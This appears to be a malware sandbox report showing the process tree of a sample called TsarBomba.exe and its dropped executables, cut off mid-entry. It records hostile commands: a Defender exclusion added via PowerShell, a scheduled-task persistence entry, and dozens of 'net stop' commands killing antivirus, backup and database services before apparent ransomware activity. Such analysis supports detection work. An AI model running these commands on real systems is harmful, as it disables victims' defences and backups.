PID 1820 wrote to memory of 5872	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	552
PID 1820 wrote to memory of 1712	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	182
PID 1820 wrote to memory of 1180	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	183
PID 5624 wrote to memory of 2532	5624	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe	184
PID 1820 wrote to memory of 4752	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	619
PID 1820 wrote to memory of 2988	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	186
PID 1820 wrote to memory of 4464	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	187
PID 1820 wrote to memory of 672	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	188
PID 1820 wrote to memory of 4116	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	909
PID 1820 wrote to memory of 2004	1820	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe	190

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe
"C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5104
- C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
  "C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
  "C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4668
- C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
  "C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2B4C.tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2452
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4260
- C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
  "C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5392
- - C:\Windows\SysWOW64\net.exe
    net stop "Acronis VSS Provider" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5256
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Acronis VSS Provider" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3108
- - C:\Windows\SysWOW64\net.exe
    net stop "Enterprise Client Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Enterprise Client Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4856
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Agent" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Agent" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3116
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos AutoUpdate Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:3436
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Clean Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Clean Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2568
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Device Control Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1912
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Device Control Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:2452
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos File Scanner Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos File Scanner Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1284
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Health Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Health Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:1528
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Agent" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5472
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Agent" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:384
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos MCS Client" /y
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos MCS Client" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:5820
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Message Router" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2532
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Message Router" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:6664
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Safestore Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6528
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Safestore Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:4996
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos System Protection Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos System Protection Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7400
- - C:\Windows\SysWOW64\net.exe
    net stop "Sophos Web Control Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Sophos Web Control Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7596
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Backup Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Backup Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7828
- - C:\Windows\SysWOW64\net.exe
    net stop "SQLsafe Filter Service" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7848
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "SQLsafe Filter Service" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:7900
- - C:\Windows\SysWOW64\net.exe
    net stop "Symantec System Recovery" /y
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7972
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Symantec System Recovery" /y
      4⤵
      System Location Discovery: System Language Discovery
      PID:8036
- - C:\Windows\SysWOW64\net.exe
    net stop "Veeam Backup Catalog Data Service" /y
    3⤵
    PID:8116
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
      4⤵
      PID:8164
- - C:\Windows\SysWOW64\net.exe
    net stop "AcronisAgent" /y
    3⤵
    PID:7420
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcronisAgent" /y
      4⤵
      PID:7720
- - C:\Windows\SysWOW64\net.exe
    net stop "AcrSch2Svc" /y
    3⤵
    PID:7752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "AcrSch2Svc" /y
      4⤵
      PID:8076
- - C:\Windows\SysWOW64\net.exe
    net stop "Antivirus" /y
    3⤵
    PID:5804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "Antivirus" /y
      4⤵
      PID:8152
- - C:\Windows\SysWOW64\net.exe
    net stop "ARSM" /y
    3⤵
    PID:7996
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ARSM" /y
      4⤵
      PID:8104
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentAccelerator" /y
    3⤵
    PID:2328
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y
      4⤵
      PID:4476
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecAgentBrowser" /y
    3⤵
    PID:1644
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y
      4⤵
      PID:7724
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecDeviceMediaService" /y
    3⤵
    PID:7588
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y
      4⤵
      PID:6888
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecJobEngine" /y
    3⤵
    PID:7800
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecJobEngine" /y
      4⤵
      PID:7856
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecManagementService" /y
    3⤵
    PID:6868
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecManagementService" /y
      4⤵
      PID:1232
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecRPCService" /y
    3⤵
    PID:7740
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecRPCService" /y
      4⤵
      PID:7692
- - C:\Windows\SysWOW64\net.exe
    net stop "BackupExecVSSProvider" /y
    3⤵
    PID:7804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "BackupExecVSSProvider" /y
      4⤵
      PID:3204
- - C:\Windows\SysWOW64\net.exe
    net stop "bedbg" /y
    3⤵
    PID:3516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "bedbg" /y
      4⤵
      PID:2864
- - C:\Windows\SysWOW64\net.exe
    net stop "DCAgent" /y
    3⤵
    PID:7524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "DCAgent" /y
      4⤵
      PID:2556
- - C:\Windows\SysWOW64\net.exe
    net stop "EPSecurityService" /y
    3⤵
    PID:6388
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPSecurityService" /y
      4⤵
      PID:4196
- - C:\Windows\SysWOW64\net.exe
    net stop "EPUpdateService" /y
    3⤵
    PID:6396
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EPUpdateService" /y
      4⤵
      PID:6480
- - C:\Windows\SysWOW64\net.exe
    net stop "EraserSvc11710" /y
    3⤵
    PID:1648
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EraserSvc11710" /y
      4⤵
      PID:1100
- - C:\Windows\SysWOW64\net.exe
    net stop "EsgShKernel" /y
    3⤵
    PID:3240
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "EsgShKernel" /y
      4⤵
      PID:2636
- - C:\Windows\SysWOW64\net.exe
    net stop "FA_Scheduler" /y
    3⤵
    PID:7716
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "FA_Scheduler" /y
      4⤵
      PID:7600
- - C:\Windows\SysWOW64\net.exe
    net stop "IISAdmin" /y
    3⤵
    PID:7816
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IISAdmin" /y
      4⤵
      PID:1072
- - C:\Windows\SysWOW64\net.exe
    net stop "IMAP4Svc" /y
    3⤵
    PID:7896
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "IMAP4Svc" /y
      4⤵
      PID:8140
- - C:\Windows\SysWOW64\net.exe
    net stop "macmnsvc" /y
    3⤵
    PID:7028
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "macmnsvc" /y
      4⤵
      PID:7492
- - C:\Windows\SysWOW64\net.exe
    net stop "masvc" /y
    3⤵
    PID:7796
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "masvc" /y
      4⤵
      PID:6628
- - C:\Windows\SysWOW64\net.exe
    net stop "MBAMService" /y
    3⤵
    PID:7932
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBAMService" /y
      4⤵
      PID:1720
- - C:\Windows\SysWOW64\net.exe
    net stop "MBEndpointAgent" /y
    3⤵
    PID:6900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MBEndpointAgent" /y
      4⤵
      PID:1836
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeEngineService" /y
    3⤵
    PID:2272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeEngineService" /y
      4⤵
      PID:6400
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFramework" /y
    3⤵
    PID:7744
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFramework" /y
      4⤵
      PID:7536
- - C:\Windows\SysWOW64\net.exe
    net stop "McAfeeFrameworkMcAfeeFramework" /y
    3⤵
    PID:7624
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y
      4⤵
      PID:7672
- - C:\Windows\SysWOW64\net.exe
    net stop "McShield" /y
    3⤵
    PID:7540
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McShield" /y
      4⤵
      PID:7884
- - C:\Windows\SysWOW64\net.exe
    net stop "McTaskManager" /y
    3⤵
    PID:7668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "McTaskManager" /y
      4⤵
      PID:8024
- - C:\Windows\SysWOW64\net.exe
    net stop "mfemms" /y
    3⤵
    PID:7904
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfemms" /y
      4⤵
      PID:7836
- - C:\Windows\SysWOW64\net.exe
    net stop "mfevtp" /y
    3⤵
    PID:7924
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mfevtp" /y
      4⤵
      PID:8016
- - C:\Windows\SysWOW64\net.exe
    net stop "MMS" /y
    3⤵
    PID:5612
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MMS" /y
      4⤵
      PID:6184
- - C:\Windows\SysWOW64\net.exe
    net stop "mozyprobackup" /y
    3⤵
    PID:6940
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "mozyprobackup" /y
      4⤵
      PID:2920
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer" /y
    3⤵
    PID:6796
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer" /y
      4⤵
      PID:7356
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer100" /y
    3⤵
    PID:7484
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer100" /y
      4⤵
      PID:7708
- - C:\Windows\SysWOW64\net.exe
    net stop "MsDtsServer110" /y
    3⤵
    PID:6324
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MsDtsServer110" /y
      4⤵
      PID:7068
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeES" /y
    3⤵
    PID:1572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeES" /y
      4⤵
      PID:6960
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeIS" /y
    3⤵
    PID:8108
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeIS" /y
      4⤵
      PID:8020
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMGMT" /y
    3⤵
    PID:7888
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMGMT" /y
      4⤵
      PID:7440
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeMTA" /y
    3⤵
    PID:6512
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMTA" /y
      4⤵
      PID:7076
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSA" /y
    3⤵
    PID:6304
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSA" /y
      4⤵
      PID:7348
- - C:\Windows\SysWOW64\net.exe
    net stop "MSExchangeSRS" /y
    3⤵
    PID:7436
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSRS" /y
      4⤵
      PID:7140
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SQL_2008" /y
    3⤵
    PID:6236
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y
      4⤵
      PID:3220
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$SYSTEM_BGC" /y
    3⤵
    PID:3764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y
      4⤵
      PID:6284
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPS" /y
    3⤵
    PID:7196
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPS" /y
      4⤵
      PID:7012
- - C:\Windows\SysWOW64\net.exe
    net stop "MSOLAP$TPSAMA" /y
    3⤵
    PID:6632
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y
      4⤵
      PID:1364
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$BKUPEXEC" /y
    3⤵
    PID:6488
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y
      4⤵
      PID:7312
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$ECWDB2" /y
    3⤵
    PID:6272
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y
      4⤵
      PID:7636
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTICEMGT" /y
    3⤵
    PID:6156
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y
      4⤵
      PID:7520
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PRACTTICEBGC" /y
    3⤵
    PID:8176
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y
      4⤵
      PID:6604
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$PROFXENGAGEMENT" /y
    3⤵
    PID:5764
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y
      4⤵
      PID:5868
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SBSMONITORING" /y
    3⤵
    PID:6516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y
      4⤵
      PID:6572
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SHAREPOINT" /y
    3⤵
    PID:6836
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y
      4⤵
      PID:7416
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SQL_2008" /y
    3⤵
    PID:7700
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y
      4⤵
      PID:6352
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$SYSTEM_BGC" /y
    3⤵
    PID:7060
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y
      4⤵
      PID:7284
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPS" /y
    3⤵
    PID:2540
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPS" /y
      4⤵
      PID:7056
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$TPSAMA" /y
    3⤵
    PID:4624
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y
      4⤵
      PID:7188
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2008R2" /y
    3⤵
    PID:2584
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y
      4⤵
      PID:7236
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQL$VEEAMSQL2012" /y
    3⤵
    PID:7684
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y
      4⤵
      PID:7408
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher" /y
    3⤵
    PID:3476
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher" /y
      4⤵
      PID:2368
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
    3⤵
    PID:3036
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
      4⤵
      PID:5364
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SBSMONITORING" /y
    3⤵
    PID:6192
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y
      4⤵
      PID:6088
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SHAREPOINT" /y
    3⤵
    PID:6408
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y
      4⤵
      PID:988
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SQL_2008" /y
    3⤵
    PID:7324
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y
      4⤵
      PID:6356
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$SYSTEM_BGC" /y
    3⤵
    PID:7132
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y
      4⤵
      PID:6756
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPS" /y
    3⤵
    PID:6752
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y
      4⤵
      PID:4708
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLFDLauncher$TPSAMA" /y
    3⤵
    PID:6872
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3524
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y
      4⤵
      PID:5860
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLSERVER" /y
    3⤵
    PID:6188
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLSERVER" /y
      4⤵
      PID:4608
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerADHelper100" /y
    3⤵
    PID:6992
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y
      4⤵
      PID:8160
- - C:\Windows\SysWOW64\net.exe
    net stop "MSSQLServerOLAPService" /y
    3⤵
    PID:2828
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3092
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y
      4⤵
      PID:5448
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL80" /y
    3⤵
    PID:7808
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL80" /y
      4⤵
      PID:4916
- - C:\Windows\SysWOW64\net.exe
    net stop "MySQL57" /y
    3⤵
    PID:4828
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "MySQL57" /y
      4⤵
      PID:1412
- - C:\Windows\SysWOW64\net.exe
    net stop "ntrtscan" /y
    3⤵
    PID:2772
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "ntrtscan" /y
      4⤵
      PID:8072
- - C:\Windows\SysWOW64\net.exe
    net stop "OracleClientCache80" /y
    3⤵
    PID:8052
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "OracleClientCache80" /y
      4⤵
      PID:5380
- - C:\Windows\SysWOW64\net.exe
    net stop "PDVFSService" /y
    3⤵
    PID:6300
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "PDVFSService" /y
      4⤵
      PID:7784
- - C:\Windows\SysWOW64\net.exe
    net stop "POP3Svc" /y
    3⤵
    PID:7204
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop "POP3Svc" /y
      4⤵
      PID:7136
- - C:\Windows\SysWOW64\net.exe
    net stop "ReportServer" /y
    3⤵
    PID:6348
  - - C:\Windows\SysWOW64\net1.exe
